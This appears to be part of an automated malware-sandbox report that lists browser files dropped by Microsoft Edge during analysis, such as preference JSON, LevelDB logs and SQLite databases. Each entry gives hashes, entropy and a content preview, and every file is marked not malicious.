C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a34b0337-bdb2-48f5-86c8-1142f2d3081d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9576
Entropy (8bit):	5.116400541602102
Encrypted:	false
SSDEEP:	192:styykdpgs08uIa34HkS2k8hbV+FyMQA48q7NIEPjYJ:stnQgs08uXTbGdQxv7NIV
MD5:	CC5A550E3CF8AEE90E2527785FCEC475
SHA1:	6F6391663589ED37832FC48500CD6E59FED3D189
SHA-256:	8FFF26D4154AFA18666002086AC56E9A915C1130E58DC089F9807129BC7C6E3B
SHA-512:	A34BF354AB7668769A61692050FF9B709A6C487E0D3B192B96534E6CB8AFFC0DA18FB3DA56E34643A9EF4152684076455D36BAA694023A97F14227139E7C56D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aa774b62-a672-44be-b84e-704e87cfdfba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17243), with no line terminators
Category:	dropped
Size (bytes):	17245
Entropy (8bit):	5.481082769556958
Encrypted:	false
SSDEEP:	384:stnPGQSu4gs08uX8PtroAPtDrz7bGdQwnYf7NIV:s1OXuXj4tFbGOr2
MD5:	6D950C4FBDF6E4FBFC86AB8D641A8374
SHA1:	491A438B5A9A0A44DBFD8A4817C5DC3ED75F2283
SHA-256:	1D93D5894D7894EF0629C551FF092174E53DA6B59E018F73B084B57361AF18E7
SHA-512:	6880E4A041771C041DB2A64117C233A90B2D839C91E82A70CC8C2B25995F4429A6E54AFA4F9C193FE838A34E1973BA709D556E72DE9B57A482ECB23A038C8A32
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375549261057740","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ac210ca4-5f5c-4d24-aa06-1a174751b263.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d2e7a11e-86e4-49fe-8664-ab2c36068e13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558119738607714
Encrypted:	false
SSDEEP:	768:UTJz977pLGLpghWPisf+l8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/mfhnrwVaCpLt/:UTJz9NcpghWPisf+lu1jamCh0Vvt/
MD5:	326321AE7395EF80F74642F5BB1CDF9A
SHA1:	DB2E0F2D4BFA819D693A5C3BC15E1DDFA698DD13
SHA-256:	7D98F75871707D3C8DDB663A510C6FDBEBB6A16701088B6979960388A9BDB745
SHA-512:	58A3E122EB9BE9118E49B85C23BC5337BFE93CFC7E84AEB7A699CDD4A7D2B337A1F082E1DF2C30EFD9B1EDE41B171EE2491F07E26B1564D90F154205D78A06B0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375549259049968","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375549259049968","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e1a84de0-bd76-4806-b06d-1f22d5ecaa15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ec138ae8-f8cf-44ff-8c61-3ff7dd446551.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554883486475611
Encrypted:	false
SSDEEP:	768:UyXzf77pLGLprhWPisfDl8F1+UoAYDCx9Tuqh0VfUC9xbog/OV8mf+nrw4XUv6Tf:UyXzfNcprhWPisfDlu1japC+04XQ6WS1
MD5:	58A67C1EDF6F4162C8F200772AECB740
SHA1:	BF1E02AFB4BC8C2DBFD19BA58824642DDC6384AA
SHA-256:	B5FD7E88734888BE102A396353EB4D8C15AD660ED2330DE355424EFC25BEDC1C
SHA-512:	17CE60DB0405E04BF8BEFC698191092DFC6F5EBA8589C47A2BE786713913541259B8848903D5CE41D84CC3A8C5680751F4C6DA95DEDCBB85BF61B59B00A3BB3D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375549259049968","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375549259049968","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10582919346975048
Encrypted:	false
SSDEEP:	12:Jnt1LKWllknt1LKcpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntZcntPoPnnnnnnnnnnnnvHj
MD5:	38343B4D5D81F3BAC89E8D41071A3DCE
SHA1:	2E8CF9C3E4E458926E4CF1A865C2CDBE670418E8
SHA-256:	6444A0EAE96174C9B4EFAF6336601B6BB5FBF1D77BAE24D384D187E25A487F92
SHA-512:	D21CC9D8658A57379DE90DF7F608D3EB5FBFBFAF73CF20B0BA286D3FB74AA2031630C8F1E753BBBBF90585A7AC2D10BE2126E8F5D5F796DB1A36E729B5CDCAEE
Malicious:	false
Preview:	..-.............Q.........[..3.XE6.:....Q.Y.n...-.............Q.........[..3.XE6.:....Q.Y.n.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9331405315919762
Encrypted:	false
SSDEEP:	384:cMFPt/RnRyTKTu/X3JyWQWD8viuJ8FyfyVsyRylIyoxyJN:EG
MD5:	7F94CE102FCA2CC2C7CD325C8B4C4FB9
SHA1:	DA06C803AF419EFF9C065E3236B3A634CBF06EB7
SHA-256:	F6248A49B999529E73CE2DE080764A83070E8AA8B09984A148CF8C1186519999
SHA-512:	7A6FAAB0DF9B9520304D7D6C5AC9128EAAC9850E072C96D43E307D0B55BA356758BAADF0625B791767EECB989BDFB6B4BDB099DA8E098A2D84240105324BF909
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.687911912587677
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuuuuJJPsedhOJ:lllc8zWrOuuuuuuuuuuuu080
MD5:	8982472F5CCB1EBB547E1B71F6E1A95C
SHA1:	6BDB21E6A4DD89C6070425D976151472DC1D8F68
SHA-256:	56A93B97B28497766B3F0D1CBDD58B0CAD3FA9D8245BF9FBEEE98EB0B180E045
SHA-512:	048A0BE710577A6D9C115462B7E0DBD0106C16555C4657ED80ECB4DE16B53874AC929F343528C3884DC8DBD6278C55CA62607F027AB994C972663598F3377136
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=.................z.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.18454549164318
Encrypted:	false
SSDEEP:	6:H0VSntDM+q2PCHhJ23oH+TcwtfrK+IFUt8Y0VSNpgZmw+Y0VS/FDMVkwOCHhJ23h:ptDM+vBYeb23FUt84g/++DMV56Yeb3J
MD5:	B2749AD494F77E4C17BD958AE2DDC7FC
SHA1:	FEC9B42916767A1023E90A02E41D7ECBB17F426A
SHA-256:	9769F9508877B14CE077F5F2FB975E8E9FC451ACDBA194A96F9F2C38D809500B
SHA-512:	C11B2C7A543F9FC6FB36C09F02908B1E5E7B070EB77F91B7A14EAC5F181C119E10304670FA5C1532F2F82500591C792A090C76AAE115533AD8D75E9FEA30DAA7
Malicious:	false
Preview:	2024/11/08-09:21:01.118 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/08-09:21:01.145 1efc Recovering log #3.2024/11/08-09:21:01.370 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.18454549164318
Encrypted:	false
SSDEEP:	6:H0VSntDM+q2PCHhJ23oH+TcwtfrK+IFUt8Y0VSNpgZmw+Y0VS/FDMVkwOCHhJ23h:ptDM+vBYeb23FUt84g/++DMV56Yeb3J
MD5:	B2749AD494F77E4C17BD958AE2DDC7FC
SHA1:	FEC9B42916767A1023E90A02E41D7ECBB17F426A
SHA-256:	9769F9508877B14CE077F5F2FB975E8E9FC451ACDBA194A96F9F2C38D809500B
SHA-512:	C11B2C7A543F9FC6FB36C09F02908B1E5E7B070EB77F91B7A14EAC5F181C119E10304670FA5C1532F2F82500591C792A090C76AAE115533AD8D75E9FEA30DAA7
Malicious:	false
Preview:	2024/11/08-09:21:01.118 1efc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/08-09:21:01.145 1efc Recovering log #3.2024/11/08-09:21:01.370 1efc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.129528286466393
Encrypted:	false
SSDEEP:	6:H0VSQOq2PCHhJ23oH+TcwtfrzAdIFUt8Y0VSLVXZmw+Y0VSLVFkwOCHhJ23oH+TC:SOvBYeb9FUt8OX/+OF56Yeb2J
MD5:	AB2C588FFE890E7C53584D06992588AF
SHA1:	272A88A0A0632DCD714BC3940962318C78A50C3D
SHA-256:	F88475AE86E28114769EF5DB338E8B4C6007A43923E37AD22B5E59B03561905F
SHA-512:	25E848AA7DDA880799BF1DEA78C30C57E6B70E2A38ACAA289FB1E69412F2449B8A1FE4D91175B47805BE39A41CD408E11794969E2AF17222DD660019903B67CC
Malicious:	false
Preview:	2024/11/08-09:21:01.112 e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/08-09:21:01.113 e80 Recovering log #3.2024/11/08-09:21:01.113 e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.129528286466393
Encrypted:	false
SSDEEP:	6:H0VSQOq2PCHhJ23oH+TcwtfrzAdIFUt8Y0VSLVXZmw+Y0VSLVFkwOCHhJ23oH+TC:SOvBYeb9FUt8OX/+OF56Yeb2J
MD5:	AB2C588FFE890E7C53584D06992588AF
SHA1:	272A88A0A0632DCD714BC3940962318C78A50C3D
SHA-256:	F88475AE86E28114769EF5DB338E8B4C6007A43923E37AD22B5E59B03561905F
SHA-512:	25E848AA7DDA880799BF1DEA78C30C57E6B70E2A38ACAA289FB1E69412F2449B8A1FE4D91175B47805BE39A41CD408E11794969E2AF17222DD660019903B67CC
Malicious:	false
Preview:	2024/11/08-09:21:01.112 e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/08-09:21:01.113 e80 Recovering log #3.2024/11/08-09:21:01.113 e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF287c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090562131349844
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kMCLmZtotR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynDtGhOxqQoRTuiVIos
MD5:	B76821FEBC087526A26A1640F5D9E176
SHA1:	7E20156C070F95936AD7F5B2AA936B8B8CC7EAF2
SHA-256:	48413C3D65DAC41B782836B62B06E52493945530466F52282070A40048A735A2
SHA-512:	8308CBCF69FF82C520445E1FCCEE6FF1A583D2784B4E2F74E15B69A91880F949EE2AE7A8595838442F02B722C40E6F6595F08E758F714ADC32C6664DC9279959
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

